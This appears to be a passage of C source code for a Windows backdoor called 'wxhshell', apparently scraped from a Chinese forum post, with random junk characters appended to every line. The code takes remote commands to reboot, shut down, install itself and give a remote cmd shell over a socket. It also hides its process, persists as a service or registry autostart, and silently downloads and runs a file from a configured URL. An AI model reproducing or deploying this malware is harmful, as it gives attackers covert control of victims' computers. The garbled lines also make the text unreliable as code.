  5(DnE?}vo  
  // 帮助 rD>q/,X=\  
  case '?': { /b{Ufo3v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [5]* Be  
    break; Ct0%3]<J  
  } G)=+Nt\ *  
  // 安装 NV^n}]ci  
  case 'i': { ?o d*"M  
    if(Install()) 602=qb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5?TjuGc  
    else %Gjjl*`E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ks8xxY  
    break; UmCIjwk  
    } 7D4I>N'T  
  // 卸载 U6M&7 l8  
  case 'r': { )7F$:*e  
    if(Uninstall()) s=XqI@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mTa^At"  
    else V/8yW3]Xy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <h~_7Dn  
    break; "'c =(P  
    } 6o GF6C  
  // 显示 wxhshell 所在路径 g1q%b%8T  
  case 'p': { rgu7g  
    char svExeFile[MAX_PATH]; n{E + r  
    strcpy(svExeFile,"\n\r"); 1gH>B5`  
      strcat(svExeFile,ExeFile); >&|/4`HSB  
        send(wsh,svExeFile,strlen(svExeFile),0); oX-h7;SD  
    break; {Yt i  
    } IUy5=Sl   
  // 重启 5{#ya 2  
  case 'b': { WoWBZ;+U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T) cbpkH4  
    if(Boot(REBOOT)) gk"J+uM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9riKSp:5  
    else { ="[6Z$R  
    closesocket(wsh); m6 a @Y<  
    ExitThread(0); Va\?"dH>M  
    } !xD_=O  
    break; 28o!>*  
    } SVT'fPm1M  
  // 关机 }/z\%Y  
  case 'd': { wk6tdY{&s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Oc^bbC  
    if(Boot(SHUTDOWN)) 4Bq4d.0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z9lfd6MU,  
    else { OSCeTkR  
    closesocket(wsh); MtK5>mhZI`  
    ExitThread(0); ;gW?Fnry;  
    } nB , &m&  
    break; b .v^:M  
    } 9,Ug  
  // 获取shell (2%z9W  
  case 's': { ?;Ge/~QU5  
    CmdShell(wsh); b%I2ig  
    closesocket(wsh); .sbV<ulbc  
    ExitThread(0); 96CC5  
    break; Fy]j33E  
  } 4Yl:1rz  
  // 退出 3Y=?~!,Jk  
  case 'x': { q0QB[)AP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C AF{7 `{  
    CloseIt(wsh); *mXs(u  
    break; n&}ILLc  
    } #)$@Kvm  
  // 离开 t>%J3S>'ZV  
  case 'q': { 2;=xH t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <7sGA{  
    closesocket(wsh); !4 G9`>n  
    WSACleanup(); nK|WzUtp  
    exit(1); sMAu*  
    break; =ZN~*HLl}  
        } ]+i~Cbj  
  } fmq9u(!R  
  } ZfN%JJOz(  
SgPvQ'\  
  // 提示信息 eI*o9k$Qs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~@bh[o~rF  
} Zae$M0)  
  } 2M+'9 +k~  
k M' :.QT  
  return; E:ocx2dp  
} )k|_ CW~  
n6 a=(T  
// shell模块句柄 / L/hR4  
int CmdShell(SOCKET sock) 69u"/7X  
{ &\GB_UA  
STARTUPINFO si; \LpR7D  
ZeroMemory(&si,sizeof(si)); Kdwt^8Umh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '`Iuf\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7{e*isV  
PROCESS_INFORMATION ProcessInfo; @s;qmBX4  
char cmdline[]="cmd"; 4q\bnt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l>O~^41[  
  return 0; r+%}XS%;h  
} *R6Ed  
K0O&-v0"1  
// 自身启动模式 lZ9rB^!  
int StartFromService(void) &?#G)suP  
{ vmZyvJSE  
typedef struct 0? QTi(  
{ /^<Uy3F[p  
  DWORD ExitStatus; [q{[Avqf  
  DWORD PebBaseAddress; S( r Fa  
  DWORD AffinityMask; u4a(AB>S  
  DWORD BasePriority; mxJ& IV  
  ULONG UniqueProcessId; qE&R.I!o  
  ULONG InheritedFromUniqueProcessId; 4R/cN' -  
}   PROCESS_BASIC_INFORMATION; yk| < P\  
fSFb)+  
PROCNTQSIP NtQueryInformationProcess; g",htYoEnj  
N3J;_=<4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |B;tv#mKD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :v!e8kM\x  
]V K%6PQ0  
  HANDLE             hProcess; .`3O4]N[  
  PROCESS_BASIC_INFORMATION pbi; ==\Qj{ 7`  
u 6(O;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yy%'9E ldc  
  if(NULL == hInst ) return 0; C.[abpc  
_c 4kj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 93*MY7j}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (/r l\I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lU[" ZFP  
$ kA'9Y  
  if (!NtQueryInformationProcess) return 0; cn$o$:tW  
-6OgM}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +(-L  
  if(!hProcess) return 0; ZCAdCKX|  
d/O~"d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YxUC.2V|7$  
x$;I E  
  CloseHandle(hProcess); z"n7du}v  
O IMsxXF\J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1]i{b/ 4  
if(hProcess==NULL) return 0; bZ$;`F5})  
nM1F4G  
HMODULE hMod; =-e` OHA  
char procName[255]; Pu=,L#+FN  
unsigned long cbNeeded; ?B"k9+%5ej  
""JTU6]MS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R>iRnrn:-  
>vPDF+u  
  CloseHandle(hProcess); *?a rEYc8  
b!7*bFTt  
if(strstr(procName,"services")) return 1; // 以服务启动 5mxYzu;#]  
u._B7R&>  
  return 0; // 注册表启动 `EUufTYi  
} #MyR:V*a  
,u1Yn}  
// 主模块 ?W*{% my  
int StartWxhshell(LPSTR lpCmdLine) Nj<}t/e  
{ +M"Fv9  
  SOCKET wsl; -r6cK,WVU  
BOOL val=TRUE; t0 1@h_ WS  
  int port=0; NT6OGBl&  
  struct sockaddr_in door; <GbF4\ue  
S~9K'\vO  
  if(wscfg.ws_autoins) Install(); 3:Mq4 0]x  
w@&4dau  
port=atoi(lpCmdLine); Stkyz:,(  
Ca&5"aki  
if(port<=0) port=wscfg.ws_port; 0Y_?r$M  
avmuI^LLs  
  WSADATA data; S4m??B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,F,\bp}  
' DZYN {}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K/,y"DUN&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s\k4<d5  
  door.sin_family = AF_INET; H6Mqy}4W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sw={bUr6G`  
  door.sin_port = htons(port); Li jisE  
QgZwU$`p0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o"te7nBI  
closesocket(wsl); TzC'x WO  
return 1; Ua>lf8w<  
} &Hb;; Ic(  
Nq`@ >Ml  
  if(listen(wsl,2) == INVALID_SOCKET) { eD4qh4|u.  
closesocket(wsl); (h} 5*u%h  
return 1; G234UjN%  
} M7O5uW`  
  Wxhshell(wsl); IMKyFp]h-  
  WSACleanup(); xpJ6M<O{8  
ZPktZ  
return 0; 6`>WO_<z  
</UUvMf"  
} f4JmY1)@  
$)1i)/]9U  
// 以NT服务方式启动 :2'y=t#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )U?Tmh  
{ tl 0_Sd  
DWORD   status = 0; WF)(Q~op0U  
  DWORD   specificError = 0xfffffff; =6XJr7Ay8u  
yqaLqZ$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lEcZ/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JnW G_|m)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1S&GhJ<wJ  
  serviceStatus.dwWin32ExitCode     = 0; #H'j;=]:  
  serviceStatus.dwServiceSpecificExitCode = 0; 81gcM?  
  serviceStatus.dwCheckPoint       = 0; O_zW/#  
  serviceStatus.dwWaitHint       = 0; LW={| 3}  
P=.yXirm?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mv5=>Xc6  
  if (hServiceStatusHandle==0) return; +VJS/  
! :[`>=!  
status = GetLastError(); #Tz$ona  
  if (status!=NO_ERROR) a.n;ika]-  
{ FeW}tKH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @%(Vi!Cv"R  
    serviceStatus.dwCheckPoint       = 0; n{d0}N =  
    serviceStatus.dwWaitHint       = 0; E [:eMJR  
    serviceStatus.dwWin32ExitCode     = status; zTgY=fuz  
    serviceStatus.dwServiceSpecificExitCode = specificError; j20/Q)=h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KASuSg+  
    return; +-DF3(  
  } OcA_m.  
Q[j'FtP%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e -!6m #0  
  serviceStatus.dwCheckPoint       = 0; iKJ-$x_5  
  serviceStatus.dwWaitHint       = 0; (E{>L).~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WH>=*\  
} <G};`}$a  
U$*AV<{%   
// 处理NT服务事件,比如:启动、停止 9H~2 iW,Q;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jGg,)~)Y  
{ wzXIEWJ  
switch(fdwControl) aVg~/  
{ Dq [ f  
case SERVICE_CONTROL_STOP: F@8G,$  
  serviceStatus.dwWin32ExitCode = 0; N('=qp9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JPH! .@  
  serviceStatus.dwCheckPoint   = 0; <r9L-4  
  serviceStatus.dwWaitHint     = 0; '|I8byiK  
  { xRX2u_f$<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qm-I=Rh+  
  } FAkrM?0/  
  return; / [s TN.MG  
case SERVICE_CONTROL_PAUSE: Y FJw<5&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Uuxx^>"h\  
  break; VjI=5)+~  
case SERVICE_CONTROL_CONTINUE: 4YV 0v,z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >>cb0fH5  
  break; ; _ziRy  
case SERVICE_CONTROL_INTERROGATE: D*%?0  
  break; -w dbH`2Z"  
}; ty"|yA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r}**^"mFy  
} Qe[ejj1o:  
<y S|\Z|  
// 标准应用程序主函数 LD=eMk: ~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5NR@<FE  
{ H[S}&l\D4  
,QeJ;U  
// 获取操作系统版本 z4qc)- {L  
OsIsNt=GetOsVer(); URd0|?t9^L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H;h$k]T  
oe'f?IY  
  // 从命令行安装 %,1xOl4l  
  if(strpbrk(lpCmdLine,"iI")) Install(); "t.Jv%0=  
!K8Kw W|X  
  // 下载执行文件 9{GEq@`7  
if(wscfg.ws_downexe) { |erG cKk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yTxrbE  
  WinExec(wscfg.ws_filenam,SW_HIDE); Vktc  
} eh39"s  
0.aIcc  
if(!OsIsNt) { ]\C wa9  
// 如果时win9x,隐藏进程并且设置为注册表启动 Sl;[9l2  
HideProc(); 2 rFjYx8D!  
StartWxhshell(lpCmdLine); dwpE(G y6c  
} RoFOjCc>D.  
else tEN8S]X  
  if(StartFromService()) 0!Vza?9  
  // 以服务方式启动 aw923wEi  
  StartServiceCtrlDispatcher(DispatchTable); ~n"?*I`  
else O"GuVC}B  
  // 普通方式启动 Mp?Gi7o=  
  StartWxhshell(lpCmdLine); :MP*Xy\7&J  
w+wg)$i  
return 0; 8nu@6)#  
}
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只看该作者 1 发表于: 2006-10-10
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